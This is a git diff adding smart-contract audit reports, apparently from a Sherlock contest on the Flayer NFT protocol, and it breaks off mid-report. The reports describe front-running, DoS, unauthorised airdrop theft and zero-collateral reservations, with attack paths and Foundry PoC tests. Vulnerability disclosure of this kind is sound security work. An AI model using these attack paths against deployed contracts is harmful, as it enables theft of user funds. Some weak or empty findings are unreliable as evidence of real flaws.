+*any other places that would need this new bool should be updated accordingly.
\ No newline at end of file
diff --git a/083.md b/083.md
new file mode 100644
index 0000000..d630cce
--- /dev/null
+++ b/083.md
@@ -0,0 +1,82 @@
+Small Azure Poodle
+
+Medium
+
+# Unrestricted Withdrawal Frequency Leading to Potential Abuse
+
+## Summary
+The `withdraw` function in the `TokenEscrow` contract lacks restrictions on the frequency of withdrawals, allowing users to perform multiple withdrawals in rapid succession. This absence of rate limiting or cooldown mechanisms can lead to potential abuse, such as denial-of-service (DoS) attacks or unauthorized fund depletion.
+
+## Vulnerability Detail
+The root cause of the vulnerability lies in the absence of any checks or mechanisms to limit how frequently a user can call the `withdraw` function. This allows users to repeatedly invoke the function without delay, potentially leading to abuse.
+```solidity
+49: function withdraw(address _token, uint _amount) public {
+---
+51: if (_amount == 0) revert CannotWithdrawZeroAmount();
+52:
+---
+54: uint available = balances[msg.sender][_token];
+55: if (available < _amount) revert InsufficientBalanceAvailable();
+56:
+---
+58: unchecked {
+59: balances[msg.sender][_token] = available - _amount;
+60: }
+61:
+---
+63: if (_token == NATIVE_TOKEN) {
+64: SafeTransferLib.safeTransferETH(msg.sender, _amount);
+65: } else {
+66: SafeTransferLib.safeTransfer(_token, msg.sender, _amount);
+67: }
+68:
+---
+69: emit Withdrawal(msg.sender, _token, _amount);
+70: }
+```
+
+## Impact
+- Repeated withdrawals can overload the system, potentially causing service disruptions for other users.
+- Excessive function calls can lead to increased gas consumption and strain on network resources, affecting contract performance.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TokenEscrow.sol#L49-L70
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Implement a rate limiting or cooldown mechanism to restrict how frequently a user can call the withdraw function.
+```diff
+// Add a mapping to track the last withdrawal time for each user
++ mapping(address => uint256) private lastWithdrawalTime;
+
+// Define a cooldown period (e.g., 1 hour)
++ uint256 private constant COOLDOWN_PERIOD = 1 hours;
+
+function withdraw(address _token, uint _amount) public {
+ if (_amount == 0) revert CannotWithdrawZeroAmount();
+
+ // Check if the cooldown period has passed
++ require(block.timestamp >= lastWithdrawalTime[msg.sender] + COOLDOWN_PERIOD, "Withdrawal cooldown period not met");
+
+ uint available = balances[msg.sender][_token];
+ if (available < _amount) revert InsufficientBalanceAvailable();
+
+ unchecked {
+ balances[msg.sender][_token] = available - _amount;
+ }
+
+ if (_token == NATIVE_TOKEN) {
+ SafeTransferLib.safeTransferETH(msg.sender, _amount);
+ } else {
+ SafeTransferLib.safeTransfer(_token, msg.sender, _amount);
+ }
+
+ // Update the last withdrawal time
++ lastWithdrawalTime[msg.sender] = block.timestamp;
+
+ emit Withdrawal(msg.sender, _token, _amount);
+}
+```
\ No newline at end of file
diff --git a/089.md b/089.md
new file mode 100644
index 0000000..10f60e2
--- /dev/null
+++ b/089.md
@@ -0,0 +1,37 @@
+Sparkly Fleece Shetland
+
+Medium
+
+# erc20 Loss during deposit of erc-721 listings.
+
+### Summary
+
+_depositNftsAndReceiveTokens hasn't used the safeTransfer function, which causes ERC20 loss to users who attempt to list their ERC-721 NFTs."
+
+### Root Cause
+
+_No response_
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+_No response_
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/093.md b/093.md
new file mode 100644
index 0000000..4809adf
--- /dev/null
+++ b/093.md
@@ -0,0 +1,44 @@
+Tart Laurel Starling
+
+Medium
+
+# There is no minimum limit for the amount of collateral for placing orders, resulting in a loophole of insufficient liquidation incentives
+
+## Summary
+There is no minimum limit for the tokenTaken in the protected order book, allowing users to submit extremely low collateral amounts. This leads to insufficient liquidation incentives, and the Keeper may lack sufficient economic motivation to perform liquidation operations.
+
+## Vulnerability Detail
+In the protected order mechanism, users can pledge a certain amount of tokens to ensure the security of their orders. However, the contract only sets a maximum pledge limit (MAX_PROTECTED_TOKEN_AMOUNT) and no minimum limit (MIN_PROTECTED_TOKEN_AMOUNT). Therefore, users can submit very small pledge amounts, such as 0.01 ether, while the Keeper's liquidation reward is 0.05 ether. Since the liquidation cost is higher than the reward, the Keeper will not have enough motivation to trigger the liquidation operation, resulting in the order not being liquidated in time, affecting the normal operation of the system.
+
+
+
+## Impact
+• User A created many orders, each with a collateral of 0.01 ether
+• When each order is liquidated, the guardian can only get 0.05 ether, but because the collateral amount of these orders is very low, the cost of clearing them (transaction fees, etc.) far exceeds the guardian's expected return, resulting in the inability to effectively carry out the liquidation operation.
+• The number of orders in the system continues to accumulate, the system performance declines, and the market is difficult to operate normally.
+## Code Snippet
+```solidity
+ // Validate the amount of token the user wants to take
+ if (listing.tokenTaken == 0) revert TokenAmountIsZero();
+ if (listing.tokenTaken > MAX_PROTECTED_TOKEN_AMOUNT) revert TokenAmountExceedsMax();
+ }
+
+```
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L117-L130
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L218-L231
+## Tool used
+
+Manual Review
+
+## Recommendation
+Introduce the MIN_PROTECTED_TOKEN_AMOUNT constant in the contract to set a reasonable minimum collateral limit. This ensures that the collateral amount of the order is high enough to maintain liquidation incentives and prevent system abuse. For example, 0.1 ether can be set as the minimum collateral limit:
+```solidity
+uint public constant MIN_PROTECTED_TOKEN_AMOUNT = 0.1 ether;
+
+
+
+ // Validate the amount of token the user wants to take
+ if (listing.tokenTaken == 0) revert TokenAmountIsZero();
+ if (listing.tokenTaken > MAX_PROTECTED_TOKEN_AMOUNT) revert TokenAmountExceedsMax();
+ if (listing.tokenTaken < MIN_PROTECTED_TOKEN_AMOUNT) revert TokenAmountBelowMin();
+```
\ No newline at end of file
diff --git a/096.md b/096.md
new file mode 100644
index 0000000..431a34c
--- /dev/null
+++ b/096.md
@@ -0,0 +1,51 @@
+Perfect Hotpink Tardigrade
+
+Medium
+
+# Moongate: Init methods may be frontrunned bricking the contracts
+
+### Summary
+
+Check the following methods:
+- [InfernalRiftAbove.setInfernalRiftBelow()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L71)
+- [InfernalRiftBelow.initializeERC721Bridgable()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L103)
+- [InfernalRiftBelow.initializeERC1155Bridgable()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L119)
+
+All of them are meant to initialize contracts on initial protocol deployment.
+
+Malicious actor can frontrun those initializing methods passing malicious contract instances that could brick the protocol.
+
+### Root Cause
+
+Missing `msg.sender` checks for:
+- [InfernalRiftAbove.setInfernalRiftBelow()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L71)
+- [InfernalRiftBelow.initializeERC721Bridgable()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L103)
+- [InfernalRiftBelow.initializeERC1155Bridgable()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L119)
+
+### Internal pre-conditions
+
+Protocol not yet deployed
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Protocol runs an initial deployment script
+2. Malicious actor frontruns [InfernalRiftAbove.setInfernalRiftBelow()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L71) (for example) and sets an address without any code thus bricking the protocol
+
+### Impact
+
+Protocol is bricked
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Validate `msg.sender` in:
+- [InfernalRiftAbove.setInfernalRiftBelow()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L71)
+- [InfernalRiftBelow.initializeERC721Bridgable()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L103)
+- [InfernalRiftBelow.initializeERC1155Bridgable()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L119)
\ No newline at end of file
diff --git a/099.md b/099.md
new file mode 100644
index 0000000..28805cb
--- /dev/null
+++ b/099.md
@@ -0,0 +1,79 @@
+Rich Chrome Whale
+
+High
+
+# Attacker can frontrun large fee deposits from `fillListing`
+
+### Summary
+
+Fees deposited and distributed to pools can be sandwiched causing loss of funds to real liquidity providers
+
+### Root Cause
+
+The way fees are distributed to uniswap pools is sandwich-able and the hook implementations decrease its probability but don't prevent it especially for bots monitoring the meme pool
+
+### Internal pre-conditions
+
+Large Fees are going to get deposited from `Listings::fillListings()`
+
+### External pre-conditions
+
+External normal user is swapping directly after the fees deposited in the direction that trigger fees swapping and distribution in `beforeSwap` Hook
+
+### Attack Path
+
+in `Listings::fillListings()` a user can fill multiple listing at a time
+
+The listings is filled by looping through every id listed calling `_fillListing()`
+
+in the internal `_fillListing()` the paid fee of the listing is built up through adding the fee to the transient storage [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L508)
+
+After the loop end we get the total amount of Fee here
+```solidity
+File: Listings.sol
+595: uint fillFee = _tload(FILL_FEE);
+596: if (fillFee != 0) {
+597: _collectionToken.approve(address(locker.implementation()), fillFee);
+598: locker.implementation().depositFees(collection, 0, fillFee);
+599: assembly { tstore(FILL_FEE, 0) }
+600: }
+```
+And we deposit it in Line 598 at one time.
+
+Large listings filled that can have variable fees associated with it according to its time of listing
+
+Attacker (bot) see this large sweep of a whale and sees it profitable
+
+He front runs the trade and deposit liquidity to the uniswap pool, the `beforeAddLiquidity` gets triggered but he doesn't care about old fees, he is targeting new fees added by this large trade
+
+Now the attacker is free to wait till `beforeSwap` gets triggered to swap the fee to `nativeToken` or it can be by coincidence that there is a swap coming in the pool in the direction that convert the `collectionToken` fee to `nativeToken`
+
+Either way, generally large trades are sandwiched for profit
+
+The steps can be as follows
+1. Large `fillListings` is in meme pool
+2. Attacker sees it profitable, now there is two scenarios
+ 1. He already has alot of floor NFTs and will deposit them in `Locker` to get alot of `collectionTokens` and deposit with them the `nativeToken` to the pool
+ 2. Or he doesn't already have NFTs for that collection then he can
+ 1. Buy alot of `collectionToken` from the uniswap Pool or sweep Multiple floor NFT and `deposit` them in the `locker` to get `collectionTokens`, what ever more profitable
+ 2. Deposit liquidity in the pool to sandwich the trade
+ 3. Remove the liquidity and convert all bough items back to His desired token
+3. Now if there is no swaps already so that fees are converted to nativeTokens and distributed he can wait as liquidity provider or make a swap him self in the direction of swapping the fees and swap it back in the opposite direction after fees are distributed
+
+> **_!Note_**: Steps above have alot of external conditions to show that there are multiple instances that this attack is feasible, but this doesn't mean that the attack isn't feasible in less constrained environment
+
+### Impact
+
+Real liquidity providers will lose large portion of fees provided
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Hook implementation really decreased the probability but didn't prevent it
+
+It can be better to remove the distribution system and directly `donate()` them through a bot with Private Pool
+
+If the above recommendation is not feasible, then Linear curve implementation can be used to slowly distribute fees what ever its size.
\ No newline at end of file
diff --git a/115.md b/115.md
new file mode 100644
index 0000000..63a7b9d
--- /dev/null
+++ b/115.md
@@ -0,0 +1,58 @@
+Lively Onyx Wolverine
+
+High
+
+# Some NFTs are pausable and can stuck the rest of our colelctions
+
+### Summary
+
+Many NFTs have passable functionality, like Axie Infinity, which can brick the rest of our NFTs in the current batch if we transfer them together.
+
+Example:
+1. Alice has a huge collection on ARB
+2. She transfers 20 of her NFTs back to ETH mainnet, one of which is passable
+3. The collection is paused, so when InfernalRiftAbove tries to transfer them back to Alice the TX reverts, bricking the reset of her NFTs until that one single NFT gets unpaused
+
+This specific part of the code is the issue.
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L230-L236
+```solidity
+ for (uint j; j < numIds; ++j) {
+ if (amountsToCross[i][j] == 0) {
+ IERC721Metadata(collectionAddresses[i]).transferFrom(address(this), recipient, idsToCross[i][j]);
+ } else {
+ IERC1155MetadataURI(collectionAddresses[i]).safeTransferFrom(address(this), recipient, idsToCross[i][j], amountsToCross[i][j], '');
+ }
+ }
+```
+Notice how the system implements push over pull, meaning that if 1 NFT reverts due to some reason the whole TX reverts.
+
+### Root Cause
+
+The system implementing batched transfers in a way that if 1 NFT reverts the whole TX reverts.
+
+### Internal pre-conditions
+
+None, the system is designed in a way for this issue to occur
+
+### External pre-conditions
+
+One NFT to be paused
+
+### Attack Path
+
+1. User sends 20 NFTs to the other chain
+2. One of them is paused
+3. The TX revert on the other chain, bricking all 20 NFTs for unknown amount of time
+
+### Impact
+
+1. Core contract functionality is broken
+2. Users get their NFTs stuck for unknown amount of time
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Design a map for all not transferred NFTs and allow users to pull them separately, aka use pull and not push.
\ No newline at end of file
diff --git a/124.md b/124.md
new file mode 100644
index 0000000..762e62b
--- /dev/null
+++ b/124.md
@@ -0,0 +1,65 @@
+Clean Snowy Mustang
+
+High
+
+# ERC721 Airdrop item can be redeemed/swapped out by user who is not an authorised claimant
+
+## Summary
+ERC721 airdrop item can be redeemed/swapped out by user who is not an authorised claimant.
+
+## Vulnerability Detail
+Locker contract owner calls [requestAirdrop()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/AirdropRecipient.sol#L85) to claim airdrop from external contracts. The airdropped items can be ERC20, ERC721, ERC1155 or Native ETH, and these items are only supposed to be claimed by authorised claimants.
+
+Unfortunately, if the airdropped item is ERC721, a malicious user can bypass the restriction and claim the item by calling [redeem()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L198) / [swap()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L241), despite they are not the authorised claimant.
+
+Consider the following scenario:
+1. A highly valuable ERC721 collection item is claimed by Locker contract in an airdrop;
+2. Bob creates a collection in Locker contract against the this ERC721 collection;
+3. Bob swaps the airdropped item by using a floor collection item;
+6. By doing that, bob is able to claim the airdropped even if he is not the authorised claimant.
+
+Please run the PoC in Locker.t.sol to verify:
+```solidity
+ function testAudit_RedeemAirdroppedItem() public {
+ // Airdrop ERC721
+ ERC721WithAirdrop erc721d = new ERC721WithAirdrop();
+
+ // Owner requests to claim a highly valuable airdropped item
+ locker.requestAirdrop(address(erc721d), abi.encodeWithSignature("claimAirdrop()"));
+ assertEq(erc721d.ownerOf(888), address(locker));
+
+ address bob = makeAddr("Bob");
+ erc721d.mint(bob, 1);
+
+ // Bob creates a Locker collection against the airdrop collection
+ vm.prank(bob);
+ address collectionToken = locker.createCollection(address(erc721d), "erc721d", "erc721d", 0);
+
+ // Bob swaps out the airdropped item
+ vm.startPrank(bob);
+ erc721d.approve(address(locker), 1);
+ locker.swap(address(erc721d), 1, 888);
+ vm.stopPrank();
+
+ // Bob owns the airdropped item despite he is not the authorised claimant
+ assertEq(erc721d.ownerOf(888), address(bob));
+ }
+```
+
+## Impact
+
+An airdropped ERC721 item can be stolen by malicious user, the authorised claimant won't be able make a claim.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L198
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L241
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Should not allow arbitrary user to redeem/swap the airdropped item.
\ No newline at end of file
diff --git a/126.md b/126.md
new file mode 100644
index 0000000..f33bb5c
--- /dev/null
+++ b/126.md
@@ -0,0 +1,28 @@
+Immense Yellow Goat
+
+High
+
+# Anyone can cause DoS to `createCollection` function
+
+## Summary
+`createCollection()` using `cloneDeterministic` to deploy new ERC20 token in a deterministic way can be leveraged by malicious actor to cause a DoS while registering a collection
+
+## Vulnerability Detail
+`createCollection()` function is used to register a new collection and deploy and underlying clone against it, however while doing so it deploys our new ERC20 token using Clone. The `createCollection()` calls the `cloneDeterministic` method from `LibClone` that uses the `create2` opcode, The `createCollection()` method also has a `salt` parameter that is passed to the `cloneDeterministic`, The salt parameter is a bytes 32 argument which in this case is `bytes32(_collectionCount)`.
+
+```solidity
+ICollectionToken collectionToken_ = ICollectionToken(LibClone.cloneDeterministic(tokenImplementation, bytes32(_collectionCount)));
+```
+
+ A malicious actor can front-run every call to `createCollection()` and use the same `salt` argument i.e `bytes32(_collectionCount)`. This will result in reverts of all user transactions, as there is already a contract at the address that `create2` tries to deploy to and easily cause a DoS.
+## Impact
+DoS while registering a collection
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L311-L313
+
+## Tool used
+[A little bit of secret salt](https://github.com/user-attachments/assets/cafef262-26ad-404b-8b5a-2dcac5128c5b)
+
+
+## Recommendation
+Use a unique salt parameter such as adding msg.sender.
\ No newline at end of file
diff --git a/129.md b/129.md
new file mode 100644
index 0000000..72645f6
--- /dev/null
+++ b/129.md
@@ -0,0 +1,148 @@
+Tiny Chartreuse Pony
+
+High
+
+# Incorrect Token Minting Due to Mismatched Recipient Address in Locker::deposit (Line 144)
+
+### Summary
+
+The [deposit() function in Locker.sol ](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L144-L166) (Line 144), allows a user to specify a recipient of the ERC20 Collection Token issued by the Flayer Protocol. If a user mistakenly enters or specifies the wrong recipient address to the function, the Collection Token will be minted to an unintended party ([Line 163](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L163)). The result is the user gives away all rights to their NFT.
+
+```solidity
+function deposit(address _collection, uint[] calldata _tokenIds, address _recipient) public //@audit final parameter combined with public visibility is the root cause of bug.
+ nonReentrant
+ whenNotPaused
+ collectionExists(_collection)
+ {
+ uint tokenIdsLength = _tokenIds.length;
+ if (tokenIdsLength == 0) revert NoTokenIds();
+
+ // Define our collection token outside the loop
+ IERC721 collection = IERC721(_collection);
+
+ // Take the ERC721 tokens from the caller
+ for (uint i; i < tokenIdsLength; ++i) {
+ // Transfer the collection token from the caller to the locker
+ collection.transferFrom(msg.sender, address(this), _tokenIds[i]);
+ }
+
+ // Mint the tokens to the recipient
+ ICollectionToken token = _collectionToken[_collection];
+ token.mint(_recipient, tokenIdsLength * 1 ether * 10 ** token.denomination());
+
+ emit TokenDeposit(_collection, _tokenIds, msg.sender, _recipient);
+ }
+```
+
+### Root Cause
+
+Two fundamental causes:
+
+**a) DESIGN CHOICE:** The design choice to allow a caller specified token recipient through a public function.
+This design choice allows the deposit function to be used elsewhere in the protocol to create deposits. Specifically in two places: [Listings.sol](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L232) and [ProtectedListings.sol](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L179). That said, it also allows the user to use the function and thus creates space for a critical unintended outcome.
+
+**b) PUBLIC VISIBILITY:** deposit() at Locker.sol::144 marked as public. None of the current modifiers prevent the bug.
+
+### Internal pre-conditions
+
+1. A user calls locker.createCollection() providing the argument for his NFT collection.
+2. The user then approves the address(locker) using setApprovalForAll.
+3. User calls locker.deposit() providing a third argument, notably, an address that is not his own.
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+NOTE: It is through user error that this bug can error, rather than direct malicious activity.
+
+1. A user calls locker.createCollection() providing the argument for his NFT collection.
+2. The user then approves the address(locker) using setApprovalForAll.
+3. User calls locker.deposit() providing a third argument, notably, an address that is not his own.
+
+### Impact
+
+1. Third Party with Collection Token can illegitimately redeem the NFTs that are not truly his.
+2. Permanent loss of depositing user's NFTs. Cannot redeem them as he cannot provide burn approval required by [Locker.sol](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L215)
+3. Third Party can create a liquid listing for NFTs he shouldn't be in possession of.
+4. Third Party can directly sell Collection Token (without redeeming NFTs).
+
+### PoC
+
+Please add the test below to Locker.t.sol
+
+```solidity
+function test_DepositMintingBug(uint8 _tokens) public {
+ // Assume that we don't want to deposit zero tokens.
+ vm.assume(_tokens > 0);
+
+ // Approve the ERC721Mock collection in our {Listings}
+ locker.createCollection(address(erc721a), 'Test', 'T', 0);
+
+ // Build a tokenIds array from the minted tokens
+ uint[] memory tokenIds = new uint[](_tokens);
+
+ // Mint a number of test tokens to our user
+ for (uint i; i < _tokens; ++i) {
+ erc721a.mint(address(this), i);
+ tokenIds[i] = i;
+ }
+
+ // Approve the {Listings} contract to manage our ERC721 tokens
+ erc721a.setApprovalForAll(address(locker), true);
+
+ // Deposit the token into our {Listings} and confirm that the expected event
+ // is emitted.
+ // We create a new WRONG address using the private key `1`
+ address WrongRecipient = vm.addr(1);
+
+ vm.expectEmit();
+ //We modify the expected final argument of event emission to be the mistaken address
+ emit Locker.TokenDeposit(address(erc721a), tokenIds, address(this), WrongRecipient);
+
+ //User calls deposit providing the wrong recipient
+ //NOTE: the second *PUBLIC* deposit function is called at Locker.sol::144
+ locker.deposit(address(erc721a), tokenIds, WrongRecipient);//This is the problematic call
+
+ for (uint i; i < _tokens; ++i) {
+ // Confirm that the token is now held by our {Locker}
+ assertEq(erc721a.ownerOf(tokenIds[i]), address(locker));
+ }
+
+ // Test below passes confirming that the WrongRecipient now holds the equivalent ERC20 Collection Token for an NFT he never deposited!
+ assertEq(
+ locker.collectionToken(address(erc721a)).balanceOf(WrongRecipient),
+ uint(_tokens) * 1 ether,
+ 'All good, WrongRecipient never received the corresponding ERC20 Collection Token.'
+ );
+
+ //User never received corresponding ERC20 Collection Token. Test passes.
+ assertTrue(
+ locker.collectionToken(address(erc721a)).balanceOf(address(this)) !=
+ uint(_tokens) * 1 ether,
+ 'All good, user does have the corresponding ERC20 Collection Token.'
+ );
+
+ //User balanceOf corresponding ERC20 Collection Token == 0. Test passes.
+ assertEq(
+ locker.collectionToken(address(erc721a)).balanceOf(address(this)),
+ uint(_tokens) * 0 ether,
+ 'All good, user does have the corresponding ERC20 Collection Token.'
+ );
+
+ }
+
+```
+### Mitigation
+
+A) Disable the feature allowing users to specify token recipient upon NFT deposit.
+B) Implement following modifier to continue allowing the function to be called through interfaces by the rest of the protocol. A starting point for a potential modifier to the [deposit() function in Locker.sol ](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L144-L166) :
+
+```solidity
+modifier specialDeposit {
+ // Ensure the only flayer protocol contracts can call this.
+ if (msg.sender != [Listings.sol address] || [ProtectedListings.sol address]) revert CannotUseSpecialDeposit();
+ _;
+ }
+```
\ No newline at end of file
diff --git a/147.md b/147.md
new file mode 100644
index 0000000..e2d9f9b
--- /dev/null
+++ b/147.md
@@ -0,0 +1,46 @@
+Large Saffron Toad
+
+High
+
+# `_distributeFees` will not work because of missing donate hooks
+
+## Summary
+In UniswapImplementation.sol the _distributeFees function will always rever
+## Vulnerability Detail
+As we can see here in `BaseHook` the donate functions have the following implementation:
+```solidity
+ function beforeDonate(address, PoolKey calldata, uint256, uint256, bytes calldata)
+ external
+ virtual
+ returns (bytes4)
+ {
+ revert HookNotImplemented();
+ }
+
+ function afterDonate(address, PoolKey calldata, uint256, uint256, bytes calldata)
+ external
+ virtual
+ returns (bytes4)
+ {
+ revert HookNotImplemented();
+ }
+```
+However since they are not overriden in the `UniswapImplementation` the following line will always revert:
+```solidity
+ BalanceDelta delta = poolManager.donate(_poolKey, amount0, amount1, '');
+```
+because of the following hook triggers in the poolManager:
+https://github.com/Uniswap/v4-core/blob/e06fb6a3511d61332db4a9fa05bc4348937c07d4/src/PoolManager.sol#L259
+and
+https://github.com/Uniswap/v4-core/blob/e06fb6a3511d61332db4a9fa05bc4348937c07d4/src/PoolManager.sol#L265
+
+## Impact
+DOS of the `_distributeFees`
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L336
+## Tool used
+
+Manual Review
+
+## Recommendation
+Override those hooks
\ No newline at end of file
diff --git a/151.md b/151.md
new file mode 100644
index 0000000..4081cfe
--- /dev/null
+++ b/151.md
@@ -0,0 +1,33 @@
+Tart Laurel Starling
+
+Medium
+
+# Solidity introduced tstore() and tload() after version 0.8.24, and multiple contract versions do not meet the requirements.
+
+## Summary
+Solidity introduced tstore() and tload() after version 0.8.24, and multiple contract versions do not meet the requirements.
+## Vulnerability Detail
+This project uses tload in several contracts, but TSTORE and TLOAD are only updated in version 0.8.24 and later.
+For more information, please refer to here:
+https://soliditylang.org/blog/2024/01/26/transient-storage/
+https://soliditylang.org/blog/2024/01/26/solidity-0.8.24-release-announcement
+In the ProtectedListings.sol and Listings.sol contracts, the pragma solidity ^0.8.22 version is used, which is lower than 0.8.24.
+## Impact
+If you are using Solidity version 0.8.22 and your code uses tload() and tstore(), this is incorrect because these Yul built-in functions were introduced in version 0.8.24.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L135
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol
+```solidity
+ assembly { checkpointIndex := tload(checkpointKey) }
+ if (checkpointIndex == 0) {
+ checkpointIndex = _createCheckpoint(listing.collection);
+ assembly { tstore(checkpointKey, checkpointIndex) }
+ }
+```
+## Tool used
+
+Manual Review
+
+## Recommendation
+1.You may consider replacing tload() and tstore() with regular Solidity storage access methods. For example, access the contract's state variables directly instead of relying on Yul's low-level memory access methods.
+2.pragma solidity ^0.8.22; changed to pragma solidity ^0.8.24;
\ No newline at end of file
diff --git a/154.md b/154.md
new file mode 100644
index 0000000..0956517
--- /dev/null
+++ b/154.md
@@ -0,0 +1,59 @@
+Tiny Quartz Wombat
+
+High
+
+# Malicious users can reserve NFTs from the pool without any collateral
+
+## Summary
+The `reserve` function in the protocol allows users to reserve or re-list NFTs from the pool by providing a specified amount of collateral in ERC20 tokens. However, the function does not validate the input collateral amount, allowing attackers to pass `0` as collateral. This can potentially lead to users reserving or re-listing NFTs without providing any value, bypassing the intended functionality.
+
+## Vulnerability Detail
+When a user passes `0`as the `_collateral` argument, the `burnFrom` function is called with a value of `0`, meaning that no tokens are burned from the user’s balance. As a result, the user is able to reserve or re-list NFTs without incurring any cost.
+
+Given that the protocol allows re-listing of assets without owning them, this vulnerability allows malicious actors to repeatedly exploit the system, reserving or re-listing valuable NFTs for free.
+
+## Impact
+- Malicious actors can reserve and re-list NFTs from the pool without burning any ERC20 tokens as collateral.
+- This undermines the economic model of the protocol, as the burn mechanism is essential for maintaining value exchange during the `reserve` process.
+- The protocol can suffer from loss of assets or manipulation of listings, potentially leading to mispricing and exploitation of valuable NFTs in the pool.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690-L759
+
+```javascript
+[flayer/src/contracts/Listings.sol]
+730 collectionToken.burnFrom(msg.sender, _collateral * 10 ** collectionToken.denomination());
+731
+732 // We can now pull in the tokens from the Locker
+733 locker.withdrawToken(_collection, _tokenId, address(this));
+734 IERC721(_collection).approve(address(protectedListings), _tokenId);
+735
+736 // Create a protected listing, taking only the tokens
+737 uint[] memory tokenIds = new uint[](1);
+738 tokenIds[0] = _tokenId;
+739 IProtectedListings.CreateListing[] memory createProtectedListing = new IProtectedListings.CreateListing[](1);
+740 createProtectedListing[0] = IProtectedListings.CreateListing({
+741 collection: _collection,
+742 tokenIds: tokenIds,
+743 listing: IProtectedListings.ProtectedListing({
+744 owner: payable(address(this)),
+745 tokenTaken: uint96(1 ether - _collateral),
+746 checkpoint: 0 // Set in the `createListings` call
+747 })
+748 });
+749
+750 // Create our listing, receiving the ERC20 into this contract
+751 protectedListings.createListings(createProtectedListing);
+752
+753 // We should now have received the non-collateral assets, which we will burn in
+754 // addition to the amount that the user sent us.
+755 collectionToken.burn((1 ether - _collateral) * 10 ** collectionToken.denomination());
+```
+## Tool used
+Manual Review
+
+## Recommendation
+Add a validation check for `_collateral` to ensure it is greater than zero and meets the minimum required amount for listing reservation.
+```diff
++ if (_collateral == 0) revert InvalidCollateralAmount();
+```
\ No newline at end of file
diff --git a/170.md b/170.md
new file mode 100644
index 0000000..3b1aaf3
--- /dev/null
+++ b/170.md
@@ -0,0 +1,339 @@
+Quick Honey Dove
+
+High
+
+# Impossible to delete an initialized collection.
+
+### Summary
+
+`uint public constant MINIMUM_TOKEN_IDS = 10;` from `Locker.sol`
+
+`uint public constant MAX_SHUTDOWN_TOKENS = 4 ether;` from `CollectionShutdown.sol`
+
+There is a contradiction for contracts resulting in the impossibility of calling the `start()` function from `CollectionShutdown.sol`.
+
+### Root Cause
+
+Everyone can create a collection using the `createCollection()` function in `Locker.sol`.
+After this, the same user can call the `initializeCollection()` to initialize the collection created on the platform:
+
+```solidity
